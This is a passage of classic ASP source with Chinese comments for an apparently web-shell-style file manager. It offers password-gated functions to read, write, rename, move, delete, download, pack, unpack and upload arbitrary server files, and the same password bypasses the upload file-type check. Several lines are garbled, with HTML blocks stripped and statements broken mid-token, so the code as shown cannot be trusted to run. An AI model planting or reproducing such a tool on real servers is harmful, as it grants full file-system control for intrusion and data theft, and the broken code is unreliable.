<%
End Function
'保存文件
Function savefile(filename, content, filename1)
If Request.ServerVariables("PATH_TRANSLATED")<>filename Then
Set f1 = fso.OpenTextFile(filename, 2, true)
f1.Write(content)
f1.Close
End If
Response.Redirect(url&"?foldername="&fso.GetParentFolderName(filename))
End Function
'文件表单
Function fileform(filename)
If fso.FileExists(filename) Then
Set f1 = fso.OpenTextFile(filename, 1, true)
content = server.HTMLEncode(f1.ReadAll)
f1.Close
End If
%>
<%
End Function
'保存文件夹
Function savefolder(foldername)
Set f = fso.CreateFolder(foldername)
Response.Redirect(url&"?foldername="&f)
End Function
'新文件夹
Function newfolder(foldername)
folderform foldername
End Function
'文件夹表单
Function folderform(foldername)
%>
<%
End Function
'重命名表单
Function renameform(oldname)
%>
<%
End Function
'重命名
Function Rename(oldstr,newstr)
oldname=split(oldstr,",")
newname=split(newstr,",")
for i=0 to ubound(oldname)
If fso.FileExists(trim(oldname(i))) Then fso.MoveFile trim(oldname(i)), trim(newname(i))
If fso.FolderExists(trim(oldname(i))) Then fso.MoveFolder trim(oldname(i)), trim(newname(i))
next
Response.Redirect(url&"?foldername="&fso.GetParentFolderName( oldname(0) ))
End Function
'粘贴
Function affix(path)
oldname=split(session("f"),",")
for i=0 to ubound(oldname)
If fso.FileExists(trim(oldname(i))) Then fso.MoveFile trim(oldname(i)), path&fso.GetFileName(trim(oldname(i)))
If fso.FolderExists(trim(oldname(i))) Then fso.MoveFolder trim(oldname(i)), trim(path)
next
session("f")=""
Response.Redirect(url&"?foldername="&path)
End Function
'编辑
Function edit(f)
If fso.FileExists(f) Then Call fileform(f)
If fso.FolderExists(f) Then Call folderform( f )
End Function
'删除
Function Delete( str,path )
For Each f In str
If fso.FileExists(f) Then fso.DeleteFile(f)
If fso.FolderExists(f) Then fso.DeleteFolder(f)
Next
Response.Redirect(url&"?foldername="&path)
End Function
'打包
Function Dabao( str,path )
For Each f In str
If fso.FolderExists(f) Then Call pack(f,path&"\")
Next
Response.Redirect(url&"?foldername="&path)
End Function
'解包
Function Jiebao( str,path )
For Each f In str
If fso.FileExists(f) and InStrRev(f,".yc")>0 and Len(f)-InStrRev(f,".yc")=7 Then Install(f)
Next
Response.Redirect(url&"?foldername="&path)
End Function
'上传表单
Function uploadform(filepath,path)
%>
操 作 执 行 中 请稍候...
<%
End Function
'保存上传
Function saveupload()
Const filetype = ".bmp.gif.jpg.png.rar.zip.txt."'允许上传的文件类型。以.分隔
Const MaxSize = 5000000'允许的文件大小
Dim upload, File, formName, formPath
Set upload = New upload_5xsoft
If upload.Form("filepath")<>"" Then
If upload.Form("ispath")="true" then
formPath = upload.Form("path")
else
formPath = Server.mappath(upload.Form("filepath"))
end if
If Right(formPath, 1)<>"\" Then formPath = formPath&"\"
If fso.FolderExists(formPath)<>true Then
fso.CreateFolder(formPath)
End If
For Each formName in upload.objFile
Set File = upload.File(formName)
temp = Split(File.FileName, ".")
fileExt = temp(UBound(temp))
If InStr(1, filetype, LCase(fileExt))>0 Or upload.Form("uppass") = pass Then
If upload.Form("checkbox") = "true" Then
Randomize
ranNum = Int(90000 * Rnd) + 10000
filename = Year(Now)&Month(Now)&Day(Now)&Hour(Now)&Minute(Now)&Second(Now)&ranNum&"."&fileExt
Else
filename = File.FileName
End If
If File.FileSize>0 And (File.FileSizewindow.opener.location.reload();self.close();")
Set upload = Nothing
End Function
'下载文件
Function download(File)
if File="" then
response.write""
response.end
end if
temp = Split(File, "\")
filename = temp(UBound(temp))
Set s = CreateObject("adodb.stream")
s.mode = 3
s.Type = 1
s.Open
s.loadfromfile(File)
data = s.Read
If IsNull(data) Then
response.Write "空"
Else
response.Clear
Response.ContentType = "application/octet-stream"
Response.AddHeader "Content-Disposition", "attachment; filename=" & filename
response.binarywrite(data)
End If
Set s = Nothing
End Function
'打包
Function pack(Folder,path)
Randomize
ranNum = Int(90000 * Rnd) + 10000
set f1 = fso.GetFolder(Folder)
filename = Year(Now)&Month(Now)&Day(Now)&Hour(Now)&Minute(Now)&Second(Now)&ranNum&"_"&f1.size
Set s = server.CreateObject("ADODB.Stream")
Set s1 = server.CreateObject("ADODB.Stream")
Set s2 = server.CreateObject("ADODB.Stream")
s.Open
s1.Open
s2.Open
s.Type = 1
s1.Type = 1
s2.Type = 2
rep = fso.GetParentFolderName(Folder&"\")'当前目录
Str = "folder>0>"&Replace(Folder, rep, "")&vbCrLf'连目录一起打包
Call WriteFile(Folder)
s2.charset = "gb2312"
s2.WriteText(Str)
s2.Position = 0
s2.Type = 1
s2.Position = 0
bin = s2.Read
s1.Write(bin)
s1.SetEOS
s1.SaveToFile(path&filename&".yc")
s.Close
s1.Close
s2.Close
Set s = Nothing
Set s1 = Nothing
Set s2 = Nothing
response.Write(""&filename&".yc"&"")
End Function
Function WriteFile(folderspec)
Set f = fso.GetFolder(folderspec)
Set fc = f.Files
For Each f1 in fc
If f1.Name<>"pack.asp" Then
Str = Str&"file>"&f1.Size&">"&Replace(folderspec&"\"&f1.Name, rep, "")&vbCrLf
s.LoadFromFile(folderspec&"\"&f1.Name)
img = s.Read()
If Not IsNull(img) Then s1.Write(img)
End If
Next
Set fc = f.SubFolders
For Each f1 in fc
Str = Str&"folder>0>"&Replace(folderspec&"\"&f1.Name, rep, "")&vbCrLf
WriteFile(folderspec&"\"&f1.Name)
Next
End Function
'解包
function install(filename)
tofolder=fso.GetParentFolderName(filename)
t1=split(filename,"\")'得到文件全名
t2=split(t1(ubound(t1)),".")'得到文件名
t3=split(t2(0),"_")'得到数据大小
size=cstr(t3(1))
set s=server.createobject("adodb.stream")
set s1=server.createobject("adodb.stream")
set s2=server.createobject("adodb.stream")
s.open
s1.open
s2.open
s.type=1
s1.type=1
s2.type=1
s.loadfromfile(filename)
s.position=size
s1.write(s.read)
s1.position=0
s1.type=2
s1.charset="gb2312"
s1.position=0
a=split(s1.readtext,vbcrlf)
s.position=0
i=0
while(i")
if b(0)="folder" then
if not fso.folderexists(tofolder&b(2)) then
fso.createfolder(tofolder&b(2))
'folder=split(tofolder&b(2),"\")'自动建立分层目录
'for j=0 to ubound(folder)
'newfolder=newfolder&folder(j)&"\"
'if not fso.folderexists(newfolder) then
'fso.createfolder(newfolder)
'end if
'next
end if
elseif b(0)="file" then
if fso.fileexists(tofolder&b(2)) then
fso.deletefile(tofolder&b(2))
end if
s2.position=0
s2.write(s.read(b(1)))
s2.seteos
s2.savetofile(tofolder&b(2))
end if
i=i+1
wend
s.close
s1.close
s2.close
set s=nothing
set s1=nothing
set s2=nothing
Response.Write("")
end function
'检查登陆
Function ChkLogin()
If Session("login") = "true" then
Exit Function
ElseIf Request("action") = "chklogin" Then
If Request("password") = pass Then
Session("login") = "true"
Response.Redirect(url)
Else
Response.Write("")
End If
End If
Call LoginForm()
End Function
'登陆表单
Function LoginForm()
%>
<%
Response.End()
End Function
'注销
Function logout()
Session.Abandon()
Response.Redirect(url)
End Function
%>